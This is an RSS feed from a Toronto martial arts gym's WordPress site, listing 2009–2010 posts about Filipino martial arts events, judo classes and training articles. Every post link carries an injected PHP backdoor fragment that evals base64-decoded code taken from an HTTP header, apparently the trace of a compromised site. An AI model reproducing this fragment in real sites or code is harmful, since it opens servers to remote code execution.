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	<title>MMA Toronto Universal &#124; Mixed Martial Arts</title>
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	<description>Universal Mixed Martial Arts</description>
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<title>MMA Toronto Universal | Mixed Martial Arts</title>
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		<title>Toronto&#8217;s 1st Filipino Martial Arts Gathering</title>
		<link>http://www.mma-toronto.ca/2010/11/19/torontos-1st-filipino-martial-arts-gathering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2010/11/19/torontos-1st-filipino-martial-arts-gathering/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 19 Nov 2010 05:12:21 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
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		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1636</guid>
		<description><![CDATA[For the first time in Toronto, Canada, Masters and Instructors of Kali-Eskrima-Arnis are cordially invited to come together in the spirit of brotherhood, help build camaraderie in the local FMA community, increase awareness and appreciation of other FMA styles/systems and promote the &#8220;Warrior Arts of the Philippines.&#8221; This is a challenging, yet exciting and rewarding [...]]]></description>
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		<title>CONGRATULATIONS TO THE BAKBAKAN-SIBUKAN KALI ILUSTRISIMO/TAGAAN ARNIS FILIPINO MARTIAL ARTS TEAM</title>
		<link>http://www.mma-toronto.ca/2010/05/09/congratulations-to-the-bakbakan-sibukan-kali-ilustrisimo-team/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2010/05/09/congratulations-to-the-bakbakan-sibukan-kali-ilustrisimo-team/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 09 May 2010 05:17:56 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
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		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1614</guid>
		<description><![CDATA[Bakbakan-Sibukan Kali Ilustrisimo/Tagaan Arnis Team competed in Buffalo, New York on May 8, 2010 at Datu Tim Hartman&#8217;s Kali/Arnis Open Tournament. Teams from Hamilton, Toronto,  Buffalo, N.Y., Virginia and Minnesota competed in Full-Contact Continuous sparring, Point sparring and Sword Fighting. The Team won 4 Gold Medals; 5 Silver Medals and 1 Bronze.  Our team won [...]]]></description>
		<wfw:commentRss>http://www.mma-toronto.ca/2010/05/09/congratulations-to-the-bakbakan-sibukan-kali-ilustrisimo-team/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
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		<title>KODOKAN JUDO COMING TO UMMA</title>
		<link>http://www.mma-toronto.ca/2010/02/21/kodokan-judo-coming-to-umma/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2010/02/21/kodokan-judo-coming-to-umma/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 00:36:29 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
				<category><![CDATA[Annoucement]]></category>
		<category><![CDATA[Events]]></category>
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		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1515</guid>
		<description><![CDATA[Judo or Jūdō (柔道, jūdō?, meaning &#8220;gentle way&#8221;) is a modern Japanese martial art (gendai budō) and combat sport, that originated in Japan in the late nineteenth century. Learn traditional KODOKAN JUDO at Universal Mixed Martial Arts taught by International Judo Federation Certified Instructor. Classes weekend mornings- Time: Sat. 10:00 am &#8211; 12:00 pm.  Beginners [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<title>RENT SPACE FOR MARTIAL ARTS, PERSONAL TRAINING, DANCE, YOGA CLASS, ETC.</title>
		<link>http://www.mma-toronto.ca/2010/02/09/rent-space-for-martial-arts-personal-training-yoga-dance-etc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2010/02/09/rent-space-for-martial-arts-personal-training-yoga-dance-etc/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 06:45:13 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
				<category><![CDATA[Annoucement]]></category>
		<category><![CDATA[Events]]></category>
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		<category><![CDATA[Promos]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1426</guid>
		<description><![CDATA[Are you looking to run your own martial arts class, dance, personal training program, or yoga class but don&#8217;t have a place or facility to do it? Look no further! Please contact Kru Paul Tudlong at (905) 201-6431 or (647) 882-6607 to inquire.]]></description>
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		<slash:comments>0</slash:comments>
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		<title>2010 &#8220;WARRIOR ARTS OF THE PHILIPPINES&#8221; FILIPINO MARTIAL ARTS (BAKBAKAN KALI-ILUSTRISIMO) &#8211; OPEN WORKSHOP</title>
		<link>http://www.mma-toronto.ca/2010/01/09/2010-warrior-arts-of-the-philippines-filipino-martial-arts-bakban-kali-ilustrisimo-open-workshops/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2010/01/09/2010-warrior-arts-of-the-philippines-filipino-martial-arts-bakban-kali-ilustrisimo-open-workshops/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 03:16:16 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
				<category><![CDATA[Annoucement]]></category>
		<category><![CDATA[Events]]></category>
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		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1257</guid>
		<description><![CDATA[2010 BAKBAKAN KALI-ILUSTRISIMO -  &#8220;OPEN WORKSHOP&#8221; At the completion of the workshop, a certificate of participation will be issued to each participant. Please call 647-500-1023 to reserve your space for this workshop which will change the way you train.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MENTAL TOUGNESS &#8211; Do you have what it takes? The 69 Characteristics Of Mentally Tough Individuals</title>
		<link>http://www.mma-toronto.ca/2010/01/07/mental-tougness-do-you-have-what-it-takes-the-69-characteristics-of-mentally-tough-individuals/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2010/01/07/mental-tougness-do-you-have-what-it-takes-the-69-characteristics-of-mentally-tough-individuals/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 05:32:21 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
				<category><![CDATA[Annoucement]]></category>
		<category><![CDATA[Events]]></category>
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		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1232</guid>
		<description><![CDATA[Note: The following is an excellent article written by Mr. Bill Cole, MS, MA, that everyone, regardless of martial art discipline they practice, should read (Guro Ramon Villardo). What does it mean to be mentally tough? Why do top achievers and performers revere it? Does mental toughness imply being insensitive, uncaring and rude? Does it [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kali/Arnis/Eskrima is now officially “The National Martial Art and Sport of the Philippines&#8221;</title>
		<link>http://www.mma-toronto.ca/2009/12/19/kaliarniseskrima-is-now-officially-%e2%80%9cthe-national-martial-art-and-sport-of-the-philippines/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2009/12/19/kaliarniseskrima-is-now-officially-%e2%80%9cthe-national-martial-art-and-sport-of-the-philippines/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 03:59:57 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
				<category><![CDATA[Annoucement]]></category>
		<category><![CDATA[Events]]></category>
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		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1069</guid>
		<description><![CDATA[Ronnie Ricketts, Filipino Martial art expert, film actor &#38; producer, Chief  Instructor Bakbakan International(Kali Ilustrisimo) President Gloria Arroyo officially signed REPUBLIC ACT NO. 9850 “An Act declaring Arnis as the National Martial Art and Sport of the Philippines“ on December 11, 2009. According to Mr.Raymond Velayo, ARNIS PHILIPPINES President, the law will preserve part of [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What would you do after defending yourself?</title>
		<link>http://www.mma-toronto.ca/2009/12/06/the-aftermath/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2009/12/06/the-aftermath/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 05:45:33 +0000</pubDate>
		<dc:creator>RVillardo</dc:creator>
				<category><![CDATA[Annoucement]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=1039</guid>
		<description><![CDATA[What would you do after you have been forced to defend yourself or your loved ones against an attacker? Let&#8217;s take, for example, that after you have been attacked or assaulted in the street, you seriously injure your assailant. Legally speaking what you choose to do after an attack can affect your future. On the [...]]]></description>
		<wfw:commentRss>http://www.mma-toronto.ca/2009/12/06/the-aftermath/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flyer</title>
		<link>http://www.mma-toronto.ca/2009/03/20/flyer/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2009/03/20/flyer/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 20:08:06 +0000</pubDate>
		<dc:creator>fred</dc:creator>
				<category><![CDATA[Annoucement]]></category>
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		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=538</guid>
		<description><![CDATA[Right click and save as to print the image. Please refer to &#8220;Our Schedules &#38; Fees&#8221; to view the current Class Schedules.]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>We are pleased to welcome Guro Ramon Villardo our new Weapons Instructor</title>
		<link>http://www.mma-toronto.ca/2009/03/12/we-are-please-to-announce-our-new-addition-of-martial-arts-instructor/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.mma-toronto.ca/2009/03/12/we-are-please-to-announce-our-new-addition-of-martial-arts-instructor/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 20:43:17 +0000</pubDate>
		<dc:creator>fred</dc:creator>
				<category><![CDATA[Annoucement]]></category>
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		<guid isPermaLink="false">http://www.mma-toronto.ca/?p=523</guid>
		<description><![CDATA[We are pleased to announce our new addition of Martial Arts Instructor in the name of Guro Ramon Villardo.  It is our pleasure to introduce various forms of martial arts in our gym specially Filipino Martial Arts in the form of Weapons Instruction. This way the community will have choices defending on their goal and aspirations.  Whether [...]]]></description>
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		<slash:comments>0</slash:comments>
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